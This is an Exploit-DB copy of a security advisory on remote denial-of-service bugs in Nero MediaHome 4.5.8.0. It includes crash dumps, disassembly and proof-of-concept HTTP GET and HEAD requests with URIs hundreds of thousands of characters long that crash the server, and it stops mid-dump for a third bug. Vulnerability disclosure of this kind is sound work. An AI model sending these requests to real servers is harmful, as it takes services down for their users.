Exploit-DB #24022
Description: Nero MediaHome 4.5.8.0 - Denial of Service
Type: dos
Platform: windows
Date: 2013-01-10
Author: High-Tech Bridge SA

Exploit:
Advisory ID: HTB23130
Product: Nero MediaHome
Vendor: Nero
Vulnerable Version(s): 4.5.8.0 and probably prior
Tested Version: 4.5.8.0 in Windows 7 SP1
Vendor Notification: November 21, 2012 
Public Disclosure: January 9, 2013 
Vulnerability Type: Improper Handling of Length Parameter Inconsistency [CWE-130], Improper Handling of Undefined Parameters [CWE-236]
CVE References: CVE-2012-5876, CVE-2012-5877
CVSSv2 Base Scores: 3.3 (AV:A/AC:L/Au:N/C:N/I:N/A:P), 3.3 (AV:A/AC:L/Au:N/C:N/I:N/A:P)
Risk Level: Low 
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab has discovered multiple remote DoS vulnerabilities in Nero Media Home server, which could be exploited by a malicious person to crash the server remotely.


1) Improper Handling of Length Parameter Inconsistency in Nero MediaHome server: CVE-2012-5876

1.1 The vulnerability exists due to improper handling of the URI length within the "NMMediaServer.dll" dynamic-link library. A remote attacker can send a specially crafted HTTP request of at least 500'000 characters long to port 54444/TCP (Nero MediaHome server's default port) and cause a stack-based buffer overrun that will immediately crash the Nero MediaHome server.

Crash details:

EIP: 7c921689 mov ecx,[ecx]
EAX: 03b2a808 (  62040072) ->  (heap)
EBX: 003e0000 (   4063232) ->   b@>@>" (heap)
ECX: 00000000 (         0) -> N/A
EDX: 00000000 (         0) -> N/A
EDI: 03b2b000 (  62042112) -> D (heap)
ESI: 03b2a800 (  62040064) ->  (heap)
EBP: 0526f854 (  86440020) -> &|&B>>D&$|>|&>"|>>"&& |(|"|||X<&><& |(|>s|>@>.D. (stack)
ESP: 0526f848 (  86440008) -> >">&|&B>>D&$|>|&>"|>>"&& |(|"|||X<&><& |(|>s|>@>. (stack)
+00: 003e0000 (   4063232) ->   b@>@>" (heap)
+04: 00000022 (        34) -> N/A
+08: 003e0004 (   4063236) ->   b@>@>" (heap)
+0c: 0526f88c (  86440076) -> &$|>|&>"|>>"&& |(|"|||X<&><& |(|>s|>@>.D. D&|>|>|h& (stack)
+10: 7c928ccd[PII_REDACTED]) -> N/A
+14: 00000000 (         0) -> N/A


Disasm around:

  0x7c921664 mov ecx,[ebp+0x10]
  0x7c921667 add eax,[ecx]
  0x7c921669 cmp eax,0xfe00
  0x7c92166e ja 0x7c920721
  0x7c921674 cmp byte [ebp+0x14],0x0
  0x7c921678 jnz 0x7c95ae10
  0x7c92167e mov ecx,[esi+0xc]
  0x7c921681 lea eax,[esi+0x8]
  0x7c921684 mov edx,[eax]
  0x7c921686 mov [ebp+0x8],ecx
  0x7c921689 mov ecx,[ecx]
  0x7c92168b cmp ecx,[edx+0x4]
  0x7c92168e mov [ebp+0xc],edx
  0x7c921691 jnz 0x7c921734
  0x7c921697 cmp ecx,eax
  0x7c921699 jnz 0x7c921734
  0x7c92169f push esi
  0x7c9216a0 push ebx
  0x7c9216a1 call 0x7c920684
  0x7c9216a6 mov eax,[ebp+0xc]
  0x7c9216a9 mov ecx,[ebp+0x8]


Proof of Concept:
The following HTTP request will crash the vulnerable Nero MediaHome server remotely:

GET /[A * 500000] HTTP/1.1
HOST: somehost.com
ACCEPT: */*
Accept-Encoding: None
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Connection: Close
Accept-Transfer-Encoding: None



1.2 The vulnerability exists due to improper handling of the URI length within the "NMMediaServer.dll" dynamic-link library. A remote attacker can send a specially crafted HTTP HEAD request of at least 265'696 characters long to port 54444/TCP and cause a heap-based buffer overrun that will cause an immediate crash of Nero MediaHome server.

Crash details:

EIP: 7c921689 mov ecx,[ecx]
EAX: 03b63008 (  62271496) ->  (heap)
EBX: 003e0000 (   4063232) -> #  8@>+ (heap)
ECX: 00000000 (         0) -> N/A
EDX: 00000000 (         0) -> N/A
EDI: 03b64000 (  62275584) -> B (heap)
ESI: 03b63000 (  62271488) ->  (heap)
EBP: 0527f864 (  86505572) -> '|@'A>|B'$|>>"|>>('' |(|"||x>Bt'><' |>@'w4' |`|]| (stack)
ESP: 0527f858 (  86505560) -> >!>'|@'A>|B'$|>>"|>>('' |(|"||x>Bt'><' |>@'w4' | (stack)
+00: 003e0000 (   4063232) -> #  8@>+ (heap)
+04: 00000021 (        33) -> N/A
+08: 003e0004 (   4063236) -> #  8@>+ (heap)
+0c: 0527f89c (  86505628) -> '$|>>"|>>('' |(|"||x>Bt'><' |>@'w4' |`|]|I||>|h'|'' (stack)
+10: 7c928ccd[PII_REDACTED]) -> N/A
+14: 00000000 (         0) -> N/A


Disasm around:

  0x7c921664 mov ecx,[ebp+0x10]
  0x7c921667 add eax,[ecx]
  0x7c921669 cmp eax,0xfe00
  0x7c92166e ja 0x7c920721
  0x7c921674 cmp byte [ebp+0x14],0x0
  0x7c921678 jnz 0x7c95ae10
  0x7c92167e mov ecx,[esi+0xc]
  0x7c921681 lea eax,[esi+0x8]
  0x7c921684 mov edx,[eax]
  0x7c921686 mov [ebp+0x8],ecx
  0x7c921689 mov ecx,[ecx]
  0x7c92168b cmp ecx,[edx+0x4]
  0x7c92168e mov [ebp+0xc],edx
  0x7c921691 jnz 0x7c921734
  0x7c921697 cmp ecx,eax
  0x7c921699 jnz 0x7c921734
  0x7c92169f push esi
  0x7c9216a0 push ebx
  0x7c9216a1 call 0x7c920684
  0x7c9216a6 mov eax,[ebp+0xc]
  0x7c9216a9 mov ecx,[ebp+0x8]


Proof of Concept:
The following HTTP request will crash the vulnerable Nero MediaHome server remotely:

HEAD / [A * 265696] HTTP/1.1
ACCEPT: */*
Accept-Encoding: None
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Connection: Close
Accept-Transfer-Encoding: None



1.3 The vulnerability exists due to improper handling of the HTTP OPTIONS method length within the "NMMediaServer.dll" dynamic-link library. A remote attacker can send a specially crafted packet of at least 265'712 characters long to port 54444/TCP and cause a heap-based buffer overrun that will immediately crash the Nero MediaHome server.

Crash details:

EIP: 7c920a1b cmp ecx,[edx+0x4]
EAX: 03c1bb90 (  63028112) ->  >>#H"G^^^^o^I@_lhf19fPf36dLaExe (heap)
EBX: 003e0000 (   4063232) ->   @>+ (heap)
ECX: 03c1bb90 (  63028112) ->  >>#H"G^^^^o^I@_lhf19fPf36dLaExe (heap)
EDX: 03b50101 (  62193921) -> N/A
EDI: 03c1bb30 (  63028016) -> yDPyDh8yDh >>#H"G^^^^o^I@_l (heap)
ESI: 03c1bb88 (  63028104) ->  >>#H"G^^^^o^I@_lhf19fPf36dLaExe (heap)
EBP: 033bfc78 (  54262904) -> L;L (stack)
ESP: 033bfc6c (  54262892) -> >x